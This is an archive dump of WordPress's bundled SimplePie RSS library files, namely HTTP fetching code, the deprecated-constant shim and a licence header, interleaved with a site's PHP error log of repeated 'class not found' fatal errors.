                $fp = @fsockopen($socket_host, $url_parts['port'], $errno, $errstr, $timeout);
                if (!$fp) {
                    $this->error = 'fsockopen error: ' . $errstr;
                    $this->success = false;
                } else {
                    stream_set_timeout($fp, $timeout);
                    if (isset($url_parts['path'])) {
                        if (isset($url_parts['query'])) {
                            $get = "$url_parts[path]?$url_parts[query]";
                        } else {
                            $get = $url_parts['path'];
                        }
                    } else {
                        $get = '/';
                    }
                    $out = "GET $get HTTP/1.1\r\n";
                    $out .= "Host: $url_parts[host]\r\n";
                    $out .= "User-Agent: $useragent\r\n";
                    if (extension_loaded('zlib')) {
                        $out .= "Accept-Encoding: x-gzip,gzip,deflate\r\n";
                    }

                    if (isset($url_parts['user']) && isset($url_parts['pass'])) {
                        $out .= "Authorization: Basic " . base64_encode("$url_parts[user]:$url_parts[pass]") . "\r\n";
                    }
                    foreach ($headers as $key => $value) {
                        $out .= "$key: $value\r\n";
                    }
                    $out .= "Connection: Close\r\n\r\n";
                    fwrite($fp, $out);

                    $info = stream_get_meta_data($fp);

                    $this->headers = '';
                    while (!$info['eof'] && !$info['timed_out']) {
                        $this->headers .= fread($fp, 1160);
                        $info = stream_get_meta_data($fp);
                    }
                    if (!$info['timed_out']) {
                        $parser = new \SimplePie\HTTP\Parser($this->headers);
                        if ($parser->parse()) {
                            $this->headers = $parser->headers;
                            $this->body = $parser->body;
                            $this->status_code = $parser->status_code;
                            if ((in_array($this->status_code, [300, 301, 302, 303, 307]) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects) {
                                $this->redirects++;
                                $location = \SimplePie\Misc::absolutize_url($this->headers['location'], $url);
                                $previousStatusCode = $this->status_code;
                                $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen, $curl_options);
                                $this->permanent_url = ($previousStatusCode == 301) ? $location : $url;
                                return;
                            }
                            if (isset($this->headers['content-encoding'])) {
                                // Hey, we act dumb elsewhere, so let's do that here too
                                switch (strtolower(trim($this->headers['content-encoding'], "\x09\x0A\x0D\x20"))) {
                                    case 'gzip':
                                    case 'x-gzip':
                                        $decoder = new \SimplePie\Gzdecode($this->body);
                                        if (!$decoder->parse()) {
                                            $this->error = 'Unable to decode HTTP "gzip" stream';
                                            $this->success = false;
                                        } else {
                                            $this->body = trim($decoder->data);
                                        }
                                        break;

                                    case 'deflate':
                                        if (($decompressed = gzinflate($this->body)) !== false) {
                                            $this->body = $decompressed;
                                        } elseif (($decompressed = gzuncompress($this->body)) !== false) {
                                            $this->body = $decompressed;
                                        } elseif (function_exists('gzdecode') && ($decompressed = gzdecode($this->body)) !== false) {
                                            $this->body = $decompressed;
                                        } else {
                                            $this->error = 'Unable to decode HTTP "deflate" stream';
                                            $this->success = false;
                                        }
                                        break;

                                    default:
                                        $this->error = 'Unknown content coding';
                                        $this->success = false;
                                }
                            }
                        }
                    } else {
                        $this->error = 'fsocket timed out';
                        $this->success = false;
                    }
                    fclose($fp);
                }
            }
        } else {
            $this->method = \SimplePie\SimplePie::FILE_SOURCE_LOCAL | \SimplePie\SimplePie::FILE_SOURCE_FILE_GET_CONTENTS;
            if (empty($url) || !($this->body = trim(file_get_contents($url)))) {
                $this->error = 'file_get_contents could not read the file';
                $this->success = false;
            }
        }
    }
}

class_alias('SimplePie\File', 'SimplePie_File');
PKWd[��T,,library/error_lognu�[���[28-Oct-2025 06:55:20 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[29-Oct-2025 06:12:08 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[29-Oct-2025 06:18:39 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[01-Nov-2025 22:30:41 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[02-Nov-2025 11:14:01 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[02-Nov-2025 15:25:59 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[02-Nov-2025 20:29:18 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[02-Nov-2025 20:31:16 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[02-Nov-2025 20:42:25 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[03-Nov-2025 17:00:29 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[03-Nov-2025 17:04:29 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[03-Nov-2025 21:51:54 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
PKWd[��ICIClibrary/SimplePie.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2017, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.7.0
 * @copyright 2004-2017 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\SimplePie as NamespacedSimplePie;

class_exists('SimplePie\SimplePie');

// @trigger_error(sprintf('Using the "SimplePie" class is deprecated since SimplePie 1.7.0, use "SimplePie\SimplePie" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\SimplePie" instead */
    class SimplePie extends NamespacedSimplePie
    {
    }
}

/**
 * SimplePie Name
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAME instead.
 */
define('SIMPLEPIE_NAME', NamespacedSimplePie::NAME);

/**
 * SimplePie Version
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::VERSION instead.
 */
define('SIMPLEPIE_VERSION', NamespacedSimplePie::VERSION);

/**
 * SimplePie Build
 * @todo Hardcode for release (there's no need to have to call SimplePie_Misc::get_build() only every load of simplepie.inc)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\Misc::get_build() instead.
 */
define('SIMPLEPIE_BUILD', gmdate('YmdHis', \SimplePie\Misc::get_build()));

/**
 * SimplePie Website URL
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::URL instead.
 */
define('SIMPLEPIE_URL', NamespacedSimplePie::URL);

/**
 * SimplePie Useragent
 * @see SimplePie::set_useragent()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\Misc::get_default_useragent() instead.
 */
define('SIMPLEPIE_USERAGENT', \SimplePie\Misc::get_default_useragent());

/**
 * SimplePie Linkback
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LINKBACK instead.
 */
define('SIMPLEPIE_LINKBACK', NamespacedSimplePie::LINKBACK);

/**
 * No Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_NONE instead.
 */
define('SIMPLEPIE_LOCATOR_NONE', NamespacedSimplePie::LOCATOR_NONE);

/**
 * Feed Link Element Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_AUTODISCOVERY instead.
 */
define('SIMPLEPIE_LOCATOR_AUTODISCOVERY', NamespacedSimplePie::LOCATOR_AUTODISCOVERY);

/**
 * Local Feed Extension Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION instead.
 */
define('SIMPLEPIE_LOCATOR_LOCAL_EXTENSION', NamespacedSimplePie::LOCATOR_LOCAL_EXTENSION);

/**
 * Local Feed Body Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_LOCAL_BODY instead.
 */
define('SIMPLEPIE_LOCATOR_LOCAL_BODY', NamespacedSimplePie::LOCATOR_LOCAL_BODY);

/**
 * Remote Feed Extension Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION instead.
 */
define('SIMPLEPIE_LOCATOR_REMOTE_EXTENSION', NamespacedSimplePie::LOCATOR_REMOTE_EXTENSION);

/**
 * Remote Feed Body Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_REMOTE_BODY instead.
 */
define('SIMPLEPIE_LOCATOR_REMOTE_BODY', NamespacedSimplePie::LOCATOR_REMOTE_BODY);

/**
 * All Feed Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_ALL instead.
 */
define('SIMPLEPIE_LOCATOR_ALL', NamespacedSimplePie::LOCATOR_ALL);

/**
 * No known feed type
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_NONE instead.
 */
define('SIMPLEPIE_TYPE_NONE', NamespacedSimplePie::TYPE_NONE);

/**
 * RSS 0.90
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_090 instead.
 */
define('SIMPLEPIE_TYPE_RSS_090', NamespacedSimplePie::TYPE_RSS_090);

/**
 * RSS 0.91 (Netscape)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_091_NETSCAPE instead.
 */
define('SIMPLEPIE_TYPE_RSS_091_NETSCAPE', NamespacedSimplePie::TYPE_RSS_091_NETSCAPE);

/**
 * RSS 0.91 (Userland)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_091_USERLAND instead.
 */
define('SIMPLEPIE_TYPE_RSS_091_USERLAND', NamespacedSimplePie::TYPE_RSS_091_USERLAND);

/**
 * RSS 0.91 (both Netscape and Userland)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_091 instead.
 */
define('SIMPLEPIE_TYPE_RSS_091', NamespacedSimplePie::TYPE_RSS_091);

/**
 * RSS 0.92
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_092 instead.
 */
define('SIMPLEPIE_TYPE_RSS_092', NamespacedSimplePie::TYPE_RSS_092);

/**
 * RSS 0.93
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_093 instead.
 */
define('SIMPLEPIE_TYPE_RSS_093', NamespacedSimplePie::TYPE_RSS_093);

/**
 * RSS 0.94
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_094 instead.
 */
define('SIMPLEPIE_TYPE_RSS_094', NamespacedSimplePie::TYPE_RSS_094);

/**
 * RSS 1.0
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_10 instead.
 */
define('SIMPLEPIE_TYPE_RSS_10', NamespacedSimplePie::TYPE_RSS_10);

/**
 * RSS 2.0
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_20 instead.
 */
define('SIMPLEPIE_TYPE_RSS_20', NamespacedSimplePie::TYPE_RSS_20);

/**
 * RDF-based RSS
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_RDF instead.
 */
define('SIMPLEPIE_TYPE_RSS_RDF', NamespacedSimplePie::TYPE_RSS_RDF);

/**
 * Non-RDF-based RSS (truly intended as syndication format)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_SYNDICATION instead.
 */
define('SIMPLEPIE_TYPE_RSS_SYNDICATION', NamespacedSimplePie::TYPE_RSS_SYNDICATION);

/**
 * All RSS
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_ALL instead.
 */
define('SIMPLEPIE_TYPE_RSS_ALL', NamespacedSimplePie::TYPE_RSS_ALL);

/**
 * Atom 0.3
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_ATOM_03 instead.
 */
define('SIMPLEPIE_TYPE_ATOM_03', NamespacedSimplePie::TYPE_ATOM_03);

/**
 * Atom 1.0
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_ATOM_10 instead.
 */
define('SIMPLEPIE_TYPE_ATOM_10', NamespacedSimplePie::TYPE_ATOM_10);

/**
 * All Atom
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_ATOM_ALL instead.
 */
define('SIMPLEPIE_TYPE_ATOM_ALL', NamespacedSimplePie::TYPE_ATOM_ALL);

/**
 * All feed types
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_ALL instead.
 */
define('SIMPLEPIE_TYPE_ALL', NamespacedSimplePie::TYPE_ALL);

/**
 * No construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_NONE instead.
 */
define('SIMPLEPIE_CONSTRUCT_NONE', NamespacedSimplePie::CONSTRUCT_NONE);

/**
 * Text construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_TEXT instead.
 */
define('SIMPLEPIE_CONSTRUCT_TEXT', NamespacedSimplePie::CONSTRUCT_TEXT);

/**
 * HTML construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_HTML instead.
 */
define('SIMPLEPIE_CONSTRUCT_HTML', NamespacedSimplePie::CONSTRUCT_HTML);

/**
 * XHTML construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_XHTML instead.
 */
define('SIMPLEPIE_CONSTRUCT_XHTML', NamespacedSimplePie::CONSTRUCT_XHTML);

/**
 * base64-encoded construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_BASE64 instead.
 */
define('SIMPLEPIE_CONSTRUCT_BASE64', NamespacedSimplePie::CONSTRUCT_BASE64);

/**
 * IRI construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_IRI instead.
 */
define('SIMPLEPIE_CONSTRUCT_IRI', NamespacedSimplePie::CONSTRUCT_IRI);

/**
 * A construct that might be HTML
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML instead.
 */
define('SIMPLEPIE_CONSTRUCT_MAYBE_HTML', NamespacedSimplePie::CONSTRUCT_MAYBE_HTML);

/**
 * All constructs
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_ALL instead.
 */
define('SIMPLEPIE_CONSTRUCT_ALL', NamespacedSimplePie::CONSTRUCT_ALL);

/**
 * Don't change case
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::SAME_CASE instead.
 */
define('SIMPLEPIE_SAME_CASE', NamespacedSimplePie::SAME_CASE);

/**
 * Change to lowercase
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOWERCASE instead.
 */
define('SIMPLEPIE_LOWERCASE', NamespacedSimplePie::LOWERCASE);

/**
 * Change to uppercase
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::UPPERCASE instead.
 */
define('SIMPLEPIE_UPPERCASE', NamespacedSimplePie::UPPERCASE);

/**
 * PCRE for HTML attributes
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE instead.
 */
define('SIMPLEPIE_PCRE_HTML_ATTRIBUTE', NamespacedSimplePie::PCRE_HTML_ATTRIBUTE);

/**
 * PCRE for XML attributes
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE instead.
 */
define('SIMPLEPIE_PCRE_XML_ATTRIBUTE', NamespacedSimplePie::PCRE_XML_ATTRIBUTE);

/**
 * XML Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_XML instead.
 */
define('SIMPLEPIE_NAMESPACE_XML', NamespacedSimplePie::NAMESPACE_XML);

/**
 * Atom 1.0 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_ATOM_10 instead.
 */
define('SIMPLEPIE_NAMESPACE_ATOM_10', NamespacedSimplePie::NAMESPACE_ATOM_10);

/**
 * Atom 0.3 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_ATOM_03 instead.
 */
define('SIMPLEPIE_NAMESPACE_ATOM_03', NamespacedSimplePie::NAMESPACE_ATOM_03);

/**
 * RDF Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RDF instead.
 */
define('SIMPLEPIE_NAMESPACE_RDF', NamespacedSimplePie::NAMESPACE_RDF);

/**
 * RSS 0.90 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RSS_090 instead.
 */
define('SIMPLEPIE_NAMESPACE_RSS_090', NamespacedSimplePie::NAMESPACE_RSS_090);

/**
 * RSS 1.0 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RSS_10 instead.
 */
define('SIMPLEPIE_NAMESPACE_RSS_10', NamespacedSimplePie::NAMESPACE_RSS_10);

/**
 * RSS 1.0 Content Module Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RSS_10_MODULES_CONTENT instead.
 */
define('SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT', NamespacedSimplePie::NAMESPACE_RSS_10_MODULES_CONTENT);

/**
 * RSS 2.0 Namespace
 * (Stupid, I know, but I'm certain it will confuse people less with support.)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RSS_20 instead.
 */
define('SIMPLEPIE_NAMESPACE_RSS_20', NamespacedSimplePie::NAMESPACE_RSS_20);

/**
 * DC 1.0 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_DC_10 instead.
 */
define('SIMPLEPIE_NAMESPACE_DC_10', NamespacedSimplePie::NAMESPACE_DC_10);

/**
 * DC 1.1 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_DC_11 instead.
 */
define('SIMPLEPIE_NAMESPACE_DC_11', NamespacedSimplePie::NAMESPACE_DC_11);

/**
 * W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO instead.
 */
define('SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO', NamespacedSimplePie::NAMESPACE_W3C_BASIC_GEO);

/**
 * GeoRSS Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_GEORSS instead.
 */
define('SIMPLEPIE_NAMESPACE_GEORSS', NamespacedSimplePie::NAMESPACE_GEORSS);

/**
 * Media RSS Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS', NamespacedSimplePie::NAMESPACE_MEDIARSS);

/**
 * Wrong Media RSS Namespace. Caused by a long-standing typo in the spec.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG);

/**
 * Wrong Media RSS Namespace #2. New namespace introduced in Media RSS 1.5.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG2 instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG2);

/**
 * Wrong Media RSS Namespace #3. A possible typo of the Media RSS 1.5 namespace.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG3 instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG3);

/**
 * Wrong Media RSS Namespace #4. New spec location after the RSS Advisory Board takes it over, but not a valid namespace.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG4 instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG4);

/**
 * Wrong Media RSS Namespace #5. A possible typo of the RSS Advisory Board URL.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG5 instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG5);

/**
 * iTunes RSS Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_ITUNES instead.
 */
define('SIMPLEPIE_NAMESPACE_ITUNES', NamespacedSimplePie::NAMESPACE_ITUNES);

/**
 * XHTML Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_XHTML instead.
 */
define('SIMPLEPIE_NAMESPACE_XHTML', NamespacedSimplePie::NAMESPACE_XHTML);

/**
 * IANA Link Relations Registry
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY instead.
 */
define('SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY', NamespacedSimplePie::IANA_LINK_RELATIONS_REGISTRY);

/**
 * No file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_NONE instead.
 */
define('SIMPLEPIE_FILE_SOURCE_NONE', NamespacedSimplePie::FILE_SOURCE_NONE);

/**
 * Remote file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_REMOTE instead.
 */
define('SIMPLEPIE_FILE_SOURCE_REMOTE', NamespacedSimplePie::FILE_SOURCE_REMOTE);

/**
 * Local file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_LOCAL instead.
 */
define('SIMPLEPIE_FILE_SOURCE_LOCAL', NamespacedSimplePie::FILE_SOURCE_LOCAL);

/**
 * fsockopen() file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_FSOCKOPEN instead.
 */
define('SIMPLEPIE_FILE_SOURCE_FSOCKOPEN', NamespacedSimplePie::FILE_SOURCE_FSOCKOPEN);

/**
 * cURL file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_CURL instead.
 */
define('SIMPLEPIE_FILE_SOURCE_CURL', NamespacedSimplePie::FILE_SOURCE_CURL);

/**
 * file_get_contents() file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_FILE_GET_CONTENTS instead.
 */
define('SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS', NamespacedSimplePie::FILE_SOURCE_FILE_GET_CONTENTS);
PKWd[~0=]]*library/SimplePie/Decode/HTML/Entities.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
